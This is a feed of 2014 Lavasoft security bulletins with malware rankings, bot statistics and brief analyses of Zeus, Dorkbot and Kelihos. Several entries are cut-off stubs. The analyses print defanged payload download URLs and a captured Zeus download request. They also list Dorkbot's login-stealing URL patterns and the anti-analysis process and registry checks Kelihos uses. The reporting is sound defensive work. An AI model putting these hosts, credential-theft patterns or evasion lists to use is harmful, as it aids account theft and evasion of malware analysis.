Lavasoft Security Bulletin - April 2014: Top Threats

April 30, 2014, 6:36 am

≫ Next: Lavasoft Security Bulletin - April 2014: Bot Review

≪ Previous: Zeus Downloader Comes as GoogleUpdate

Top 20 Blocked Malware

Position	Ad-Aware detection	% of all threats	Change in ranking
1	Win32.Trojan.Agent	74.59%	-6.72%
2	Trojan.Win32.Generic!BT	14.68%	+5.79%
3	Jeefo	0.76%	+0.54%
4	Trojan.Win32.Generic.pak!cobra	0.70%	+0.19%
5	Virus.Win32.Ramnit.a	0.67%	new
6	Malware.JS.Generic	0.66%	+0.13%
7	HackTool.Win32.Keygen	0.60%	+0.32%
8	Worm.LNK.Jenxcus.aha	0.57%	-0.26%
9	Win32.TrojanDropper.Agent/A	0.45%	new
10	Virus.Win32.Sality.at	0.41%	+0.07%
11	Trojan.Win32.Jpgiframe	0.32%	+0.11%
12	Trojan.Win32.Generic!SB.0	0.31%	+0.15%
13	Virus.Win32.Sality.ah	0.23%	new
14	Trojan-Clicker.HTML.RemoteScript	0.23%	new
15	Trojan-Dropper.Win32.Agent.aeu	0.15%	new
16	Virus.Win32.Expiro.i	0.13%	new
17	Trojan.Win32.Ramnit.c	0.12%	-0.22%
18	Trojan.Win32.AutoIT.gen	0.11%	new
19	Trojan.Win32.Packer.PESpinv1.32	0.10%	new
20	Backdoor.Win32.Bifrose.fsi	0.09%	new

The Top 20 malicious programs blocked on PCs

Malware Prevalence Table - April 2014

The table below ranks the most prevalent families seen in April.

Position	Ad-Aware detection	% of all threats	Change in ranking
1	Trojan.Win32.Generic!BT	33.87%	+0.41%
2	Virus.Win32.Expiro.gen	7.52%	+0.17%
3	Virus.Win32.Virut.ce	6.71%	+3.41%
4	Trojan-Downloader.Win32.LoadMoney.u	5.16%	-0.85%
5	Trojan.Win32.Generic.pak!cobra	3.01%	-0.10%
6	Trojan.Win32.Ircbot!cobra	0.86%	-0.18%
7	InstallCore	0.82%	new
8	Trojan.Win32.Generic!SB.0	0.77%	+0.41%
9	Adware.Bettersurf	0.77%	new
10	Adware.OutBrowse	0.58%	-0.06%
11	Optimum Installer	0.53%	new
12	Click run software	0.47%	new
13	Trojan.Win32.DelfInject.m	0.36%	-0.07%
14	Trojan.Win32.LoadMoney.f	0.34%	+0.02%
15	Trojan.StartPage	0.22%	new
16	FraudTool.Win32.InternetProtection.ek!a	0.21%	-0.05%
17	Worm.Win32.Gamarue.z	0.21%	+0.02%
18	Trojan.HTML.Ransomware.b	0.20%	-0.05%
19	Backdoor.MSIL.Bladabindi.a	0.20%	+0.02%
20	Malware.JS.Generic	0.20%	new

New malicious programs entered the Top 20

In April Lavasoft Malware Analysis System detected the following fake antiviruses. This polymorphic Fake AV family was previously described in February 2014

Image may be NSFW.
Clik here to view.

Fake AV (MD5: 9e42968882b42a4f4418df8bb5301f65, 36f0e8ae4f8e14b35757136cc2200952, 78912dc0c6406105343ead0656b74f8a, aa1c742eafac0c819c3fb32f325c3be3, c3e6595842fd0366d87790c814b28af2, d6cb2f4d4f2b1db9087ed0f081cca1c5, d12bc79b2d8714fe80600730bc200138, df7721c0e49fdd1f14b43b1d3c6d3424)

Top20 Potentially Unwanted Programs

Below are the Top20 Potentially Unwanted Programs blocked by Ad-Aware on user’s PCs. These are advertising software, browser toolbars, search engines and other programs which change browser start pages and other system settings.

Position	Ad-Aware detection	% of all threats	Change in ranking
1	MyWebSearch	17.07%	+1.19%
2	Conduit	16.82%	-6.21%
3	Win32.PUP.Bandoo	14.34%	+6.93%
4	Adware.Linkury	9.21%	+2.32%
5	Adware.JS.Conduit	9.19%	-0.99%
6	Adware.SaveSense	2.52%	-1.33%
7	Crossrider	1.96%	-0.23%
8	Win32.Toolbar.Iminent	1.72%	-0.17%
9	Adware.Win32.Multiplug.c	1.38%	new
10	DomaIQ	1.23%	+0.09%
11	Adware.Agent	1.12%	-0.24%
12	Iminent	1.08%	-0.81%
13	Adware.DealPly	1.01%	-0.14%
14	SweetIM	0.95%	-0.11%
15	InstallCore	0.82%	-0.08%
16	Opencandy	0.80%	-0.20%
17	Win32.Adware.Agent	0.75%	-0.61%
18	Yontoo	0.70%	new
19	InstallCore.b	0.69%	+0.10%
20	Montiera	0.64%	-0.03%

Top20 PUPs detected on user’s PC

Operating Systems

Image may be NSFW.
Clik here to view.

Infections by OS

Geographic Location

Image may be NSFW.
Clik here to view.

Infections by country of origin

We will keep investigating the epidemiological situation in the world and informing our readers about new malicious code samples in the next Lavasoft Security Bulletin.

Zeus Downloader Comes as GoogleUpdate.

↧

Lavasoft Security Bulletin - April 2014: Bot Review

April 30, 2014, 6:37 am

≫ Next: Lavasoft Security Bulletin - May 2014: Top Threats

≪ Previous: Lavasoft Security Bulletin - April 2014: Top Threats

Bot Review

Table: Bots under analysis (April 2014, Lavasoft MAS).

Bot's name	March 2014	April 2014	Changes
Zbot	65	568	62.3%
Cycbot	29	10	-2.4%
Kelihos	66	68	0.2%
NrgBot/Dorkbot	74	149	9.3%
Blazebot/Rbot	13	5	-1.0%
Shiz	4	7	0.4%
Total	620	635

Bot distribution in April:

Image may be NSFW.
Clik here to view.

Kelihos. You can find the latest Kelihos description here.

Cycbot. You can find the latest Cycbot description here.

Shiz. The latest description is here.

Zbot. We saw a significant increase of Zeus bots from 65 analyzed samples in March up to 568 in April. Read more about a Zeus variant found in April here.

NrgBot/Dorkbot. The number of Dorkbots has been increased twofold since March. You can find the latest description here.

Blazebot/Rbot. The latest description is available in Malware Encyclopedia.

Lavasoft Security Bulletin - April 2014: Top Threats.

↧

Lavasoft Security Bulletin - May 2014: Top Threats

May 30, 2014, 2:07 am

≫ Next: Lavasoft Security Bulletin - May 2014: Bot Review

≪ Previous: Lavasoft Security Bulletin - April 2014: Bot Review

Top20 Blocked Malware

Position	Ad-Aware detection	% of all threats	Change in ranking
1	Win32.Trojan.Agent	66.35%	-8.24%
2	Trojan.Win32.Generic!BT	20.66%	+5.98%
3	Exploit.PDF.Pdfjs.aei	2.84%	new
4	Virus.Win32.Ramnit.a	1.46%	+0.79%
5	Worm.LNK.Jenxcus.aha	0.66%	+0.09%
6	Malware.JS.Generic	0.54%	-0.12%
7	Trojan.Win32.Ramnit.c	0.50%	+0.38%
8	Trojan.Win32.Generic.pak!cobra	0.42%	-0.28%
9	Trojan.Win32.Generic!SB.0	0.35%	+0.04%
10	Virus.Win32.Ramnit.b	0.33%	new
11	HackTool.Win32.Keygen	0.33%	-0.27%
12	Virus.Win32.Sality.at	0.32%	-0.09%
13	Email-Worm.Win32.Brontok.a	0.26%	new
14	Virus.Win32.Sality.ek	0.24%	new
15	Trojan.Win32.Jpgiframe	0.22%	-0.10%
16	Virus.Win32.Virut.ce	0.21%	new
17	FraudTool.Win32.FakeVimes!VB	0.20%	new
18	Trojan-Clicker.HTML.Iframe	0.19%	new
19	Win32.Worm.Autorun/A	0.18%	new
20	Virus.Win32.Expiro.cn	0.16%	new

The Top 20 malicious programs blocked on PCs

Malware Prevalence Table - May 2014

The table below ranks the most prevalent families seen in May.

Position	Ad-Aware detection	% of all threats	Change in ranking
1	Trojan.Win32.Generic!BT	33.79%	-0.08%
2	Virus.Win32.Virut.ce	6.72%	+0.01%
3	Virus.Win32.Expiro.gen	5.82%	-1.70%
4	Trojan-Downloader.Win32.LoadMoney.u	4.59%	-0.57%
5	Trojan.Win32.Generic.pak!cobra	2.81%	-0.20%
6	InstallCore	1.75%	+0.93%
7	Trojan.Win32.Generic!SB.0	0.83%	+0.06%
8	Trojan.Win32.LoadMoney.f	0.78%	+0.44%
9	Trojan.Win32.Ircbot!cobra	0.73%	-0.13%
10	Worm.Win32.Picsys.c	0.49%	new
11	Adware.OutBrowse	0.49%	-0.09%
12	Optimum Installer	0.48%	-0.05%
13	Conduit	0.48%	new
14	Click run software	0.40%	-0.07%
15	Vittalia Installer	0.39%	new
16	Trojan.Win32.DelfInject.m	0.31%	-0.05%
17	Trojan.StartPage	0.27%	+0.05%
18	Worm.Win32.Gamarue.z	0.25%	+0.04%
19	Backdoor.MSIL.Bladabindi.a	0.23%	+0.03%
20	FraudTool.Win32.InternetProtection.ek!a	0.18%	-0.03%

New malicious programs entered the Top 20

This month we discovered several new Fake-AVs that have GUIs similar to the ones below. One of them – “Open Cloud AV” - even utilizes a cloud security concept.

Image may be NSFW.
Clik here to view.

Fake AV (MD5: 1c01c7a1c0d18c376d295522f096a5cb) is detected by Ad-Aware as Gen:Variant.Kazy.73805

Image may be NSFW.
Clik here to view.

Fake AV (MD5: 5deeff05129a1d4aaf5bac9091d9058f) is detected by Ad-Aware as Trojan.Generic.KD.369558

Image may be NSFW.
Clik here to view.

Fake AV (MD5: 6882c02d396d287ddfb3717bb717bead) is detected by Ad-Aware as Trojan.FakeAlert.CYD

Top20 Potentially Unwanted Programs

Position	Ad-Aware detection	% of all threats	Change in ranking
1	Conduit	19.38%	+2.56%
2	MyWebSearch	15.30%	-1.77%
3	Win32.PUP.Bandoo	12.33%	-2.01%
4	Adware.JS.Conduit	8.31%	-0.88%
5	Adware.Linkury	7.36%	-1.85%
6	Yontoo	3.41%	+2.71%
7	Crossrider	2.25%	+0.29%
8	Montiera	1.68%	+1.04%
9	Adware.SaveSense	1.61%	-0.91%
10	Win32.Toolbar.Iminent	1.56%	-0.16%
11	DomaIQ	1.34%	+0.11%
12	Adware.Win32.Multiplug.c	1.32%	-0.06%
13	BetterInstaller	1.10%	new
14	Win32.Adware.Agent	1.07%	+0.32%
15	Iminent	0.99%	-0.73%
16	SweetIM	0.82%	-0.13%
17	Opencandy	0.78%	-0.02%
18	Adware.DealPly	0.77%	-0.24%
19	InstallCore.b	0.76%	+0.07%
20	InstallCore	0.75%	-0.07%

Top20 PUPs detected on user’s PC

Operating Systems

Image may be NSFW.
Clik here to view.

Infections by OS

Geographic Location

Image may be NSFW.
Clik here to view.

Infections by country of origin

We will keep investigating the epidemiological situation in the world and informing our readers about new malicious code samples in the next Lavasoft Security Bulletin.

↧

Lavasoft Security Bulletin - May 2014: Bot Review

May 30, 2014, 2:29 am

≫ Next: Kelihos Adopts Anti-Analysis Technique

≪ Previous: Lavasoft Security Bulletin - May 2014: Top Threats

Bot Review

Table: Bots under analysis (May 2014, Lavasoft MAS).

Bot's name	April 2014	May 2014	Changes
Zbot	568	149	-51.3%
Cycbot	10	19	1.1%
Kelihos	68	472	49.4%
NrgBot/Dorkbot	149	169	2.4%
Blazebot/Rbot	5	2	-0.4%
Shiz	7	6	-0.1%
Total	807	818

Bot distribution in May:

Image may be NSFW.
Clik here to view.

Kelihos. This month we see a significant increase of Kelihos backdoors discovered in the Lab: 58% in May against 8% in April. You can read more about adoption of anti-analysis techniques by Kelihos bot here.

Cycbot. You can find the latest Cycbot description here.

Shiz. The latest description is here.

Zbot. Read more about Zeus variant found in May in Malware Encyclopedia. 30% of all detected Zeus samples use Tor client.

The Zeus continues downloading its files in an encrypted form:

URL	IP
hxxp://highclassdelhiescorts.in/images/css/al0302.enc	Image may be NSFW. Clik here to view.103.8.127.189
hxxp://manjena.com/images/al0302.enc	Image may be NSFW. Clik here to view.184.107.194.106

This time the Canadian server replied with the ZZP file (329 288 bytes in size):

GET /images/al0302.enc HTTP/1.1

Accept: text/*, application/*

User-Agent: Updates downloader

Host: manjena.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sat, 24 May 2014 06:00:28 GMT

Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.6

Last-Modified: Mon, 03 Feb 2014 15:36:31 GMT

ETag: "a548037-50648-4f18249ad9dc0"

Accept-Ranges: bytes

Content-Length: 329288

Connection: close

Content-Type: text/plain

ZZP..~.:.T.tS...W.......S..vS..OJ.)w_..w....Z...S...r... ...!...2..W0.
..<..w1...&...S..3....<D..}..}w.GwWF:..'T....X..3 Q..3...pl6.wT.
..U6.upP.x|.TM...p[6..S...0..HFo.w...;R..P[. %V.!wP..|R..w;.....C~...u
CD..V..d...wS..1R...P..qQ^".2..x....FB.qP..w.m.w{..q..usr..o.H...G@.F.

<<< skipped >>>

After decryption with Zeus decryption tool (ZeusDecryptor) we discovered usual randomly named application (MD5: f1f03b73b6c32ef28514d740073a4941, 386 560 bytes in size):

%Documents and Settings%\%current user%\Application Data\Idaz\ecyche.exe

The downloader also copies itself as “pdfupdate.exe” (MD5: 0a2947abe4c9e6d539066993690c8a38, 19 224 bytes in size) to the %Temp% folder and executes it.

NrgBot/Dorkbot. The number of Dorkbots continues growing since March. You can find the latest description here.

Currently the backdoor uses the following expressions to steal logins and passwords for popular services:

iknowthatgirl*/members*, *youporn.*/login*, *members.brazzers.com*, *bcointernacional*login*, *:2222/CMD_LOGIN*, *whcms*dologin* , *:2086/login*, *:2083/login*, *:2082/login*, *webnames.ru/*user_login*, Webnames, *dotster.com/*login*, loginid, *enom.com/login*, login.Pass, login.User, *login.Pass=*, *1and1.com/xml/config*, *moniker.com/*Login*, LoginPassword, LoginUserName, *LoginPassword=*, *namecheap.com/*login*, loginname, *godaddy.com/login*, Password, *Password=*, *alertpay.com/login*, *netflix.com/*ogin*, *thepiratebay.org/login*, *torrentleech.org/*login*, *vip-file.com/*/signin-do*, *sms4file.com/*/signin-do*, *letitbit.net*, *what.cd/login*, *oron.com/login*, *filesonic.com/*login*, *speedyshare.com/login*, *uploaded.to/*login*, *uploading.com/*login*, loginUserPassword, loginUserName, *loginUserPassword=*, *fileserv.com/login*, *hotfile.com/login*, *4shared.com/login*, txtpass, *txtpass=*, *netload.in/index*, *freakshare.com/login*, login_pass, *login_pass=*, *mediafire.com/*login*, *sendspace.com/login*, *megaupload.*/*login*, *depositfiles.*/*/login*, *signin.ebay*SignIn, *officebanking.cl/*login.asp*, *secure.logmein.*/*logincheck*, session[password], *password]=*, *twitter.com/sessions, txtPassword, *&txtPassword=*, *.moneybookers.*/*login.pl, *runescape*/*weblogin*, *&password=*, *no-ip*/login*, *steampowered*/login*, quick_password, *hackforums.*/member.php, *facebook.*/login.php*, *login.yahoo.*/*login*, passwd, login, *passwd=*, *login.live.*/*post.srf*, TextfieldPassword, *TextfieldPassword=*, *gmx.*/*FormLogin*, *Passwd=*, FLN-Password, *FLN-Password=*, *pass=*, *bigstring.*/*index.php*, *screenname.aol.*/login.psp*, password, loginId, *password=*, *aol.*/*login.psp*, Passwd, *google.*/*ServiceLoginAuth*, login_password, login_email, *login_password=*, *paypal.*/webscr?cmd=_login-submit*, *bebo.*/c/profile/comment_post.json, *bebo.*/mail/MailCompose.jsp*, *friendster.*/sendmessage.php*, *friendster.*/rpc.php, *vkontakte.ru/mail.php, *vkontakte.ru/wall.php, *vkontakte.ru/api.php, *facebook.*/ajax/*MessageComposerEndpoint.php*, msg_text, *facebook.*/ajax/chat/send.php*

We see the following online services attacked in the list above:

iknowthatgirl.com, youporn.com, brazzers.com, bancointernacional.com.ec, webnames.ru, dotster.com, enom.com, 1and1.com, moniker.com, namecheap.com, godaddy.com, alertpay.com, netflix.com, thepiratebay.org, torrentleech.org, vip-file.com, sms4file.com, letitbit.net, what.cd, oron.com, filesonic.com, speedyshare.com, uploaded.to, uploading.com, fileserv.com, hotfile.com, 4shared.com, netload.in, freakshare.com, mediafire.com, sendspace.com, megaupload.com, depositfiles.com, ebay.com, officebanking.cl, logmein.com, twitter.com, moneybookers.com, runescape.com, hackforums.com, facebook.com, yahoo.com, live.com, gmx.com, aol.com, google.com, paypal.com, bebo.com, friendster.com, vkontakte.ru, facebook.com

Among them we met porn websites, domain registrars, online banking services, file sharing services, online games, and popular social networks.

Blazebot/Rbot. The latest description is available in Malware Encyclopedia.

↧

Kelihos Adopts Anti-Analysis Technique

May 30, 2014, 2:32 am

≫ Next: Lavasoft Security Bulletin - June 2014: Top Threats

≪ Previous: Lavasoft Security Bulletin - May 2014: Bot Review

Since the end of April we discovered that Kelihos adopted an anti-analysis functionality. The backdoor detects the presence of the following processes running on a computer that are related to malware analysis tools (network sniffers, debuggers, screen recorders), virtual platforms (VirtualBox) and sandboxes (Sandboxie):

cv.exe
irise.exe
IrisSvc.exe
wireshark.exe
dumpcap.exe
ZxSniffer.exe
Aircrack-ng Gui.exe
observer.exe
tcpdump.exe
WinDump.exe
wspass.exe
Regshot.exe
ollydbg.exe
PEBrowseDbg.exe
windbg.exe
DrvLoader.exe
SymRecv.exe
Syser.exe
apis32.exe
VBoxService.exe
VBoxTray.exe
SbieSvc.exe
SbieCtrl.exe
SandboxieRpcSs.exe
SandboxieDcomLaunch.exe
SUPERAntiSpyware.exe
ERUNT.exe
ERDNT.exe
EtherD.exe
Sniffer.exe
CamtasiaStudio.exe
CamRecorder.exe
vba32arkit.exe

The same verification is done for the registry keys:

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Wireshark
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wireshark.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Win Sniffer_is1
SOFTWARE\Classes\PEBrowseDotNETProfiler.DotNETProfiler
Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\Debugging Tools for Windows (x86)
SYSTEM\CurrentControlSet\Services\SDbgMsg
Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\APIS32
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\APIS32
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Oracle VM VirtualBox Guest Additions
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie
SOFTWARE\SUPERAntiSpyware.com
SOFTWARE\Classes\SUPERAntiSpywareContextMenuExt.SASCon.1
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ERUNT_is1

Image may be NSFW.
Clik here to view.

Supposedly these lists were partly borrowed from the Simda backdoor.

Kelihos continues preferring Ukrainian servers to download new updates (you can read more about a geographic distribution of the botnet in past
here):

URL	Country
hxxp://178.150.139.157/mod1/zlubob1.exe	Image may be NSFW. Clik here to view.
hxxp://5.105.69.96/mod2/zlubob1.exe	Image may be NSFW. Clik here to view.
hxxp://213.111.239.19/online.htm	Image may be NSFW. Clik here to view.
hxxp://194.44.49.98/mod1/zlubob1.exe	Image may be NSFW. Clik here to view.

The downloaded file “zlubob1.exe” is 612 352 bytes (MD5: b4f8a1e28e762567bcf3ade3405259df) and can provide Remote Desktop connection to the attacker via WTS (Windows Terminal Server) API mentioned in the import table.

Image may be NSFW.
Clik here to view.

The registry keys enumeration and password files searching is the reason of a high CPU load - 99%:

Image may be NSFW.
Clik here to view.

As we already wrote in the blog it searches for passwords stored in configuration and cache files of FTP clients and Internet browsers:

WISE FTP, IE, Mozilla Firefox, Chrome, Chromium, Bromium, Nichrome, RockMelt, Comodo, ChromePlus, browser.yandex, LeechFTP, Odin, WinFTP, FTPGetter, Estsoft\ALFTP, Staff, Blaze, NetFile, GoFTP, 3D-FTP, EasyFTP, XFTP, BlazeFTP, SiteDesigner, Whisper Technology\FTP Surfer, VanDyke\SecureFX, Fling, NetDrive, FTP Explorer, FTPRush, UltraFXP, AceBIT, Flock\Browser, FTP-Now

Image may be NSFW.
Clik here to view.

We may conclude that the Kelihos botnet is growing again and it has already eaten the biggest piece of botnets pie – 58% in May 2014. The bot has the same thief payload. However, it is armored now with an anti-analysis functionality that will complicate the reversing and debugging a backdoor.

Image may be NSFW.
Clik here to view.

Lavasoft Security Bulletin - May 2014: Top Threats.

↧

Lavasoft Security Bulletin - June 2014: Top Threats

June 30, 2014, 10:52 pm

≫ Next: Lavasoft Security Bulletin - June 2014: Bot Review

≪ Previous: Kelihos Adopts Anti-Analysis Technique

Top20 Blocked Malware

↧

Lavasoft Security Bulletin - June 2014: Bot Review

June 30, 2014, 11:36 pm

≫ Next: Beware of FIFA World Cup 2014 Scams

≪ Previous: Lavasoft Security Bulletin - June 2014: Top Threats

Bot Review

↧

Beware of FIFA World Cup 2014 Scams

July 1, 2014, 3:30 am

≫ Next: Lavasoft Security Bulletin - July 2014: Top Threats

≪ Previous: Lavasoft Security Bulletin - June 2014: Bot Review

The FIFA World Cup 2014 in Brazil is being used as a lure for numerous tricks aimed to get your money or show you unsolicited advertisements.
Last month Symantec wrote about an email scam where the scammers offered free tickets for the World Cup.

↧

Lavasoft Security Bulletin - July 2014: Top Threats

July 31, 2014, 6:02 am

≫ Next: Lavasoft Security Bulletin - July 2014: Bot Review

≪ Previous: Beware of FIFA World Cup 2014 Scams

Top20 Blocked Malware

↧

Lavasoft Security Bulletin - July 2014: Bot Review

July 31, 2014, 6:15 am

≫ Next: Bundled Software: Good or Evil?

≪ Previous: Lavasoft Security Bulletin - July 2014: Top Threats

Bot Review

↧

Bundled Software: Good or Evil?

August 2, 2014, 11:41 pm

≫ Next: Lavasoft Security Bulletin - August 2014: Bot Review

≪ Previous: Lavasoft Security Bulletin - July 2014: Bot Review

In July’s potentially unwanted program (PUP) prevalence report sees detections with family names containing "Application.Bundler" such as Application.Bundler.Somoto.I, read more

↧

Lavasoft Security Bulletin - August 2014: Bot Review

August 29, 2014, 6:24 am

≫ Next: Lavasoft Security Bulletin - August 2014: Top Threats

≪ Previous: Bundled Software: Good or Evil?

Bot Review

↧

Lavasoft Security Bulletin - August 2014: Top Threats

August 29, 2014, 6:24 am

≫ Next: The PUP That Can Detect Anti-Malware Programs

≪ Previous: Lavasoft Security Bulletin - August 2014: Bot Review

Top20 Blocked Malware

↧

The PUP That Can Detect Anti-Malware Programs

August 29, 2014, 6:45 am

≫ Next: Lavasoft Security Bulletin - September 2014: Top Threats

≪ Previous: Lavasoft Security Bulletin - August 2014: Top Threats

In last month’s Security Bulletin we talked about issues surrounding bundled software and explained why AV companies often detect such programs as potentially unwanted programs a.k.a ‘PUP’.

This month we are going to walk through an interesting example of bundled software called Media Player by VideoBuzz (detected by Ad-Aware as Gen:Variant.Application.MediaFinder.2), which brings hidden surprises to a user.

↧

Lavasoft Security Bulletin - September 2014: Top Threats

October 3, 2014, 6:01 am

≫ Next: Lavasoft Security Bulletin - September 2014: Bot Review

≪ Previous: The PUP That Can Detect Anti-Malware Programs

Top20 Blocked Malware

↧

Lavasoft Security Bulletin - September 2014: Bot Review

October 3, 2014, 6:12 am

≫ Next: PUPs with Rootkit

≪ Previous: Lavasoft Security Bulletin - September 2014: Top Threats

Bot Review

↧

PUPs with Rootkit

October 3, 2014, 6:13 am

≫ Next: Lavasoft Security Bulletin - October 2014: Top Threats

≪ Previous: Lavasoft Security Bulletin - September 2014: Bot Review

We discovered numerous cases of installing PUPs that contain a rootkit component to protect its files, registry keys and processes in a system. This component is used defend itself from removal by competing PUPs and automated PUP removal tools.

We are going to consider two PUPs that utilize the same rootkit to protect its files and registry keys:

↧

Lavasoft Security Bulletin - October 2014: Top Threats

November 3, 2014, 5:44 am

≫ Next: Lavasoft Security Bulletin - October 2014: Bot Review

≪ Previous: PUPs with Rootkit

Top20 Blocked Malware

↧

Lavasoft Security Bulletin - October 2014: Bot Review

November 3, 2014, 5:54 am

≫ Next: Potentially Unwanted Program Self-Protection Technologies

≪ Previous: Lavasoft Security Bulletin - October 2014: Top Threats

Bot Review

↧

Potentially Unwanted Program Self-Protection Technologies

November 3, 2014, 5:55 am

≫ Next: Lavasoft Security Bulletin - November 2014: Top Threats

≪ Previous: Lavasoft Security Bulletin - October 2014: Bot Review

Last month we discussed potentially unwanted programs that use rootkit components to protect some of their files and registry keys against modification and removal.

This month we will illustrate other self-protection methods that complicate removal and/or disabling potentially unwanted applications.

↧